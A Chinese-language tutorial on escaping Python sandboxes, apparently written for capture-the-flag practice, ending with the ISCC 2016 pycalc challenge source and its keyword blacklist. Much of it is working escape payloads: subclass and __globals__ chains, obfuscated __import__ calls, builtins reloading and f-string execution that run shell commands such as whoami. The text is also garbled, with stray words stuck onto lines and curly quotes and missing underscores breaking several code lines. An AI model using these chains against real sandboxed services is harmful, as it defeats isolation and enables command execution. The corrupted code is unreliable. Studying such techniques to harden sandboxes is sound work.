python沙箱逃逸

1.预备内容

这部份内容只须要简单的浏览有个具体的印象便可。若是感兴趣能够谷歌、百度去深刻理解。html

python中内置执行系统命令的模块:

os
commands:(python 2.x)
subprocess
timeit
paltform
pty
bdb
cgi
node


subprocess

模块用于管理子进程。能够调用外部命令做为子进程,还能够生成新的进程、链接到它们的input/output/error管道,同时获取它们的返回码。python

subprocess.Popen类
该类用于在一个新进程中执行一个子程序,subprocess的run、call、check_call、check_output、getoutput、getstatusoutput函数均属于该类mysql


os

模块用于访问操做系统功能的模块。
通用操做:1.系统操做 2.目录操做 3.判断操做linux

系统操做:
os.sep 用于区别系统路径分隔符
os.getenv 读取环境变量
os.getcwd 获取当前路径 …
目录操做:(增删改查)
os.mkdir 建立一个目录
os.removedirs 可删除多层递归的空目录,有文件则没法删除
os.rename() 重命名 …
判断操做:
os.path.exists(path) 判断文件或者目录是否存在
os.path.isfile(path) 判断是否为文件
os.path.isdir(path) 判断是否为目录 …ios

path模块os.path.x
x:basemae,dirname,getsize,abspath,join, …git


commands

该模块在3.x中已经被subprocess取代。可是在2.x的早期版本中它也是重要的内置模块之一,共有三个函数:web

getoutput(cmd):执行cmd命令,并返回输出的内容,返回结果为str。
getstatus(file):返回执行ls -ld file命令的结果。该函数已被python丢弃,不建议使用
getstatusoutput(cmd): 执行cmd命令,并返回执行的状态和输出的内容,返回结果为int和str。算法


timeit

时间模块,用于准确测量代码执行时间
该模块定义了三个实用函数和一个公共类。sql

timeit.timeit(stmt=‘pass’, setup=‘pass’, timer=, number=1000000)
建立一个 Timer 实例,参数分别是 stmt:须要测量的语句或函数,setup:初始化代码或构建环境的导入语句,timer:计时函数,number:每一次测量中语句被执行的次数

timeit.repeat(stmt=‘pass’, setup=‘pass’, timer=, repeat=3, number=1000000)
建立一个 Timer 实例,参数分别是 stmt:须要测量的语句或函数,setup:初始化代码或构建环境的导入语句,timer:计时函数,repeat:重复测量的次数,number:每一次测量中语句被执行的次数

timeit.default_timer()
计时器

class timeit.Timer(stmt=‘pass’, setup=‘pass’, timer=)
计算小段代码执行速度的类,构造函数须要的参数有 stmt:须要测量的语句或函数,setup:初始化代码或构建环境的导入语句,timer:计时函数。前两个参数的默认值都是 ‘pass’,timer 参数是平台相关的;前两个参数均可以包含多个语句,多个语句间使用分号(;)或新行分隔开。

模块的一些方法 …


paltform

该模块用于得到操做系统的相关信息

platform.platform() 得到操做系统名称以及版本号
platform.node() 得到计算机的网络名称
python.python_compiler() 得到计算机python中的编译器相关信息
… …


pty

该模块定义了处理伪终端的操做:启动另外一个进程并可以以编程方式写入和读取其控制终端。
模块定义了如下功能:

pty.fork() 将子进程的控制终端链接到一个伪终端
pty.openpty() 打开一个新的伪终端
pty.spawn() 产生一个进程,将其控制终端与当前进程的标注io链接起来。(经常使用来挡住坚持从控制终端读取的程序)



可执行系统命令的函数

print(os.system('whoami'))
print(os.popen('whoami').read()) 
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x
#下位模块commands内容
commands.getoutput('ls *.sh')
>>>'install_zabbix.sh\nmanage_deploy.sh\nmysql_setup.sh\npython_manage_deploy.sh\nsetup.sh'
>commands.getstatusoutput('ls *.sh')
commands.getstatus('ls *.sh')
>>> '0'
commands.getstatusoutput('ls *.sh')
>>>(0,'install_zabbix.sh\nmanage_deploy.sh\nmysql_setup.sh\npython_manage_deploy.sh\nsetup.sh'



两个魔术方法

第一个是类具备的——__dict__魔术方法
第二个是实例、类、函数都具备的——__getattribute__魔术方法

dir([]) #实例
dir([].class) #类
dir([].append) #函数

#查看实例中支持的方法
>>> class haha:
...     a=7
...
>>> dir(haha)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'a']

#查看类中支持的方法/对象
>>> dir([].__class__)
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'clear', 'copy', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']
>>> dir([].copy.__class__)
['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']


#查看具体函数中支持的方法
>>> dir([].__class__.__base__.__subclasses__()[72].__init__)
['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__name__', '__ne__', '__new__', '__objclass__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']


#使用__dict__调用[].__class__的__init__方法
>>> [].__class__.__dict__['__init__']
<slot wrapper '__init__' of 'list' objects>
#使用__getattribute__调用[].__class__的__init__方法
>>> [].__class__.__getattribute__([],'__init__')
<method-wrapper '__init__' of list object at 0x000001BAB90317C0>
#第一个返回的是个方法,第二个返回一个实例空间的方法
#一般构造payload1的时候:
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os']
只有第一种的方法(dict)才具备__globals__

python中能够执行任意代码的函数

1.timeit
import timeit
timeit.timeit(“import(‘os’).system(‘dir’)”,number=1)
#coding:utf-8 import timeit timeit.timeit(“import(‘os’).system(’’)”, number=1)

2.exec 和eval
eval(‘import(“os”).system(“dir”)’)

3.platform
import platform
print platform.popen(‘dir’).read()
import platform platform.popen(‘id’, mode=‘r’, bufsize=-1).read()

4.random、math
经过读写文件进行,具体状况具体分析。下文有实例

导入os或sys的库

后面须要索引位置的时候能够用index哦。。别真的一个个去数

>>> dir([].__class__).index('__len__')
20

须要尽可能去熟悉内建库,以及库之间相互的引用关系。

#modules_2 表明python2.x 下同理
all_modules_2 = [
    'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion',
 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib',
  'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs',
   'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString',
    'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy',
     'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser',
      'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types',
       '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512',
        'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched',
         'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha']

all_modules_3 = [
    'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets',
     'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize',
      '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi',
       'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys',
        'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os',
         'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle',
          '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput',
           'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited',
            '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq']



2. 沙箱逃逸

进入正题,先介绍一些方法。具体构造payload的时候通常都是须要组合使用的。

花式import

禁用import os确定不安全,由于:

import..os
import...os

均可以实现同import os一样的效果。
就算多个空格的操做也被过滤了,python中能import的还有

importimport(‘os’),import, importlib:importlib.import_module(‘os’).system(‘ls’)
还能够经过execfile实现(限制python2.x,3中该模块被删除):
execfile(’/usr/lib/python2.7/os.py’)
system(‘ls’)
可是能够间接这样实现(通用)
with open(’/usr/lib/python3.6/os.py’,‘r’) as f:
exec(f.read())
system(‘ls’)



花式处理字符串

沙箱中每每会禁止一些危险的字符串出现,好比os、eval等。可是能够经过花式处理字符串的方法,不直接经过“os”来导入而是经过“os”的别名来导入。
以os库的引入为例。
若是沙箱ban了os库,代码中若是出现了os,那么确定是不让执行的。可是能够经过其余的操做来间接引入os:

> __import__('so'[::-1]).system('ls')  #逆序打印
 > b = 'o'
   a = 's'
   __import__(a+b).system('ls')     #字符拼接

 >>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])  #eval函数
root
0
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])    #exec函数
root

可是,通常eval和exec都会被过滤,由于他们一样很危险。
对字符串的变形处理还有不少的方式:
逆序、拼接、base6四、hex、rot1三、rot1 …均可以实现这种操做,根据具体状况来选择变形方式。



恢复sys.modules

sys.modules是一个字典,其中存储了加载过的模块信息,若是python是刚启动所列出的模块就是解释器在启动时自动加载的模块。有些库(eg:os)是默认被加载的,可是不能直接使用,由于该 字典中的模块位经import加载对于当前空间是不可见的。

sys.modules['os'] = 'not allowed' 
del sys.modules['os']
import os
os.system('ls')

还有__builtins__的导入方法

(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")
(lambda x:1).__globals__['__builtins__'].__dict__['eval']("__import__('os').system('ls')")


花式执行函数

若是system函数被禁止了,即没法经过os.system执行系统命令,且system也没法经过处理字符串的方法来实现,因此要想其余的途径来解决这一问题。

  1. os模块中能执行系统命令的函数还有不少(见开头可执行系统命令的函数)

  2. 还能够经过getattr、getattrgetattribute,来拿到对象方法、属性。
import os
getattr(os, 'metsys'[::-1])('whoami')
#若是不让出现import
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
root
0

关于__getattribute__这里有一个颇有意思的现象:

class Tree(object):
    def __init__(self,name):
        self.name = name
        self.cate = "plant"
    def __getattribute__(self,obj):
        if obj.endswith("e"):
            return object.__getattribute__(self,obj)
        else:
            return self.call_wind()
    def call_wind(self):
        return "树大招风"
aa = Tree("大树")
print(aa.name)#由于name是以e结尾,因此返回的仍是name,因此打印出"大树"
print(aa.wind)#这个命令首先调用__getattribute__方法,通过判断进入self.call_wind(),可是去调用aa这个对象的call_wind属性时,前提是去调用__getattribute__,因此这样造成了一个死循环且没有退出机制,最终程序就会报错。

3. 经过内建模块builtin、builtins,__builtin__(到了3.x变成了builtins)与__builtins__。查看模块须要import才可,即虽然这些模块是内建函数(不须要导入就可使用里面的内容),可是若是须要查看模块的信息仍是须要import它们。
2.x
>>> __builtin__
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name '__builtin__' is not defined
>>
>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>

3.x:
>>> builtins
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'builtins' is not defined
>>> import builtins
>>> builtins
<module 'builtins' (built-in)>

builtins__二者都有。故下都用__builtins__表示。
若是__builtins__内部的reload没被删除,可使用reload恢复__builtins
,从而恢复__builtins__中被删除的危险函数(eval…)

2.x 的 reload 是内建的,3.x 须要 import imp,而后再 imp.reload。reload 的参数是 module,因此确定还能用于从新载入其余模块,这个放在下面说。



经过继承关系逃逸

Python支持多重继承,2.2以前对于方法的判断搜索是按照深度优先(经典类),后发展成广度有限(新式类),后来新式类的搜索算法变成了C3算法。python中新式类都有个属性(mro)是一个元组,记录了类的继承关系。

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

一个类的实例在获取class的属性时候会指向该实例相应的类。如上的’'属于str类,而且他继承了object类。
同时判断某个实例继承的函数还有__base__ 和__bases__

>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> class test1:
...     pass
...
>>> test1.__base__
<class 'object'>

那么经过继承关系又来利用呢?
在设置沙箱的时候删除了os,即没法直接引入os,可是若是有个库叫ss,在ss中引入了os,那么就能够经过__globals__拿到 os。

(__globals__是函数所在的全局命名空间中所定义的全局变量,globals:该属性是函数特有的属性,记录当前文件全局变量的值,若是某个文件调用了os、sys等库,但咱们只能访问该文件某个函数或者某个对象,那么咱们就能够利用globals属性访问全局的变量

例如:site库就引入了os。

>>> import site
>>> site.os
<module 'os' from 'C:\\Users\\xx\\AppData\\Local\\Programs\\Python\\Python39\\lib\\os.py'>

也就是说直接能直接引用site的话,就至关于引入了os。可是site 若是也被禁用了呢?
那么咱们能够利用reload来花式加载os:

>>> import site
>>> os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'os' is not defined
>>> os = reload(site.os)
>>> os.system('whoami')
xx
0

使用这种方式,不只仅能够一步跳步,还能够跳几步,即A->os, B->A->os均可以实现这部分。

已经提早导入了os的内置模块
<class ‘site._Printer’>
<class ‘site.Quitter’>
<class ‘warnings.catch_warnings’>

eg:

#A->os示例

>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
(44, <type 'iterator'>)
(45, <type 'sys.long_info'>)
(46, <type 'sys.float_info'>)
(47, <type 'EncodingMap'>)
(48, <type 'fieldnameiterator'>)
(49, <type 'formatteriterator'>)
(50, <type 'sys.version_info'>)
(51, <type 'sys.flags'>)
(52, <type 'exceptions.BaseException'>)
(53, <type 'module'>)
(54, <type 'imp.NullImporter'>)
(55, <type 'zipimport.zipimporter'>)
(56, <type 'posix.stat_result'>)
(57, <type 'posix.statvfs_result'>)
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(62, <class '_abcoll.Hashable'>)
(63, <type 'classmethod'>)
(64, <class '_abcoll.Iterable'>)
(65, <class '_abcoll.Sized'>)
(66, <class '_abcoll.Container'>)
(67, <class '_abcoll.Callable'>)
(68, <type 'dict_keys'>)
(69, <type 'dict_items'>)
(70, <type 'dict_values'>)
(71, <class 'site._Printer'>)
(72, <class 'site._Helper'>)
(73, <type '_sre.SRE_Pattern'>)
(74, <type '_sre.SRE_Match'>)
(75, <type '_sre.SRE_Scanner'>)
(76, <class 'site.Quitter'>)
(77, <class 'codecs.IncrementalEncoder'>)
(78, <class 'codecs.IncrementalDecoder'>)
>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'

#实例2
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()
['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']
>>> a=[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
>>>>a
<module 'os' from '/usr/lib/python2.7/os.pyc'>
#成功导入继续利用
>>>a.__dict__.keys().index('system')
79
>>> a.__dict__.keys()[79]
'system'
>>> b=a.__dict__.values()[79]
>>> b
<built-in function system>
>>> b('whoami')
root

两个例子能够看到执行后又出现了os。

#A->B->os 
 # 该示例限python2.x
 >>> import warnings
 >>> warnings.os Traceback (most recent call last):   File "<stdin>", line 1, in <module> AttributeError: 'module' object has no attribute 'os'
>>> warnings.linecache
 <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>
>>>
>>> warnings.linecache.os
 <module 'os' from '/usr/lib/python2.7/os.pyc'>
 #因此继承链就能够写成这样
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
root
0


-------------------------------------------

#warnings库中还有一个能够利用的函数,warnings.catch_warnings,它有个_module属性. 
>>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')
root
0

#3.x 中的warnings虽然没有 linecache,也有__builtins__
>>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')
root
0


#py3.x 中有<class 'os._wrap_close'>
>>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')
root
0

#若是object可使用,上面的式子能够简化:
>>> object.__subclasses__()[117].__init__.__globals__['system']('whoami')
root
0

#利用builtin_function_or_method 的 __call__:
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')

#上式可简化
[].__getattribute__('append').__class__.__call__(eval, '1+1')

#还有一种利用方式
class test(dict):
    def __init__(self):
        print(super(test, self).keys.__class__.__call__(eval, '1+1'))
 # 若是是 3.x 的话能够简写为:
       # super().keys.__class__.__call__(eval, '1+1'))
test()

经过上面的描述能够知道经过函数的继承能够多样化的实现导入须要的函数,方法来实现须要的逃逸目的。
总结而言:
1.经过__class__、mrosubclasses、__bases__等等属性/方法去获取 object.
2.根据__globals__找引入的__builtins__或者eval等等可以直接被利用的库,或者找到builtin_function_or_method类/类型
3.__call__后直接运行eval



文件读写

python2.x中有两个内建函数file,open能够用于文件读取(python3.x中没用有file)
types.FileType(rw)、platform.popen(rw)、linecache.getlines®库是能够写文件的,危害性比读大。
由于,若是能够写文件,能够先将一个文件写好(xx.py),再import进来。

xx.py:         #注:xx命名最好要挑选一个经常使用的标准库的名字,由于过滤的库名可能采用的是白名单的方式。可是不能和sys.modules中的库重复。不然没法正常利用,python会直接从sys.modules中加入
	import os
	print(os.system('whoami'))
>>> import math
root
0

根据上面的内容能够找出几种payload构造来绕过:

builtins.open(‘filename’).read() ‘context’ ().class.base.subclasses()40.read() ‘context’



其余

沙箱中还可能会过滤[、]两个符号。对于这种状况就须要用pop、getitem 代替[ 、 ]两个符号缺乏带来的影响。

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
'root\n'

#python 3.6之后可使用新特性 f-string
>>> f'{__import__("os").system("whoami")}'
root
'0'



3.小结/思路

通常逃逸使用这几个库来尝试:

os
subprocess
commands

若是都被ban了能够尝试预备内容中谈到的两个魔术方法来绕过字符串的限制,或者使用内建函数来绕过。




4.实例

光看内容老是以为一头雾水,只有通过必定的练习后再阅读一遍本文才能带来更多的收获。
如下题目我都会直接放在个人资源里欢迎你们来下载练习。



1. ISCC 2016 Pwn300 pycalc

#!/usr/bin/env python2
# -*- coding:utf-8 -*-

def banner():
    print "============================================="
    print " Simple calculator implemented by python "
    print "============================================="
    return

def getexp():
    return raw_input(">>> ")

def _hook_import_(name, *args, **kwargs):
    module_blacklist = [****]
    rbid in module_blacklist:
        if name == forbid:        # don't let user import these modules
            raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
    # normal modules can be imported
    return __import__(name, *args, **kwargs)

def sandbox_filter(command):
    blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
                 '=', 'open', 'read', 'sys', ';', 'os']
    for forbid in blacklist:
        if forbid in command:
            return 0
    return 1

def sandbox_exec(command):      # sandbox user input
    result = 0
    __sandboxed_builtins__ = dict(__builtins__.__dict__)
    __sandboxed_builtins__['__import__'] = _hook_import_    # hook import
    del __sandboxed_builtins__['open']
    _global = {
        '__builtins__': __sandboxed_builtins__
    }
    if sandbox_filter(command) == 0:
        print 'Malicious user input detected!!!'
        exit(0)
    command = 'result = ' + command
    try:
        exec command in _global     # do calculate in a sandboxed environment
    except Exception, e:
        print e
        return 0
    result = _global['result']  # extract the result
    return result

banner()
while 1:
    command = getexp()
    print sandbox_exec(command)

代码中的exec command in _global很安全,exec运行在自定义的全局命名空间中,使得至于restricted execution mode环境中,因此不少payload都没法执行。可是也正是如此有一些其余特殊的方法能够执行。

>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__
restricted attribute
>>> getattr(getattr(__import__('types'), 'FileType')('key'), 're''ad')()
file() constructor not accessible in restricted mode
>>> getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')
root


2.__ future _

from __future__ import print_function
banned =[****]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
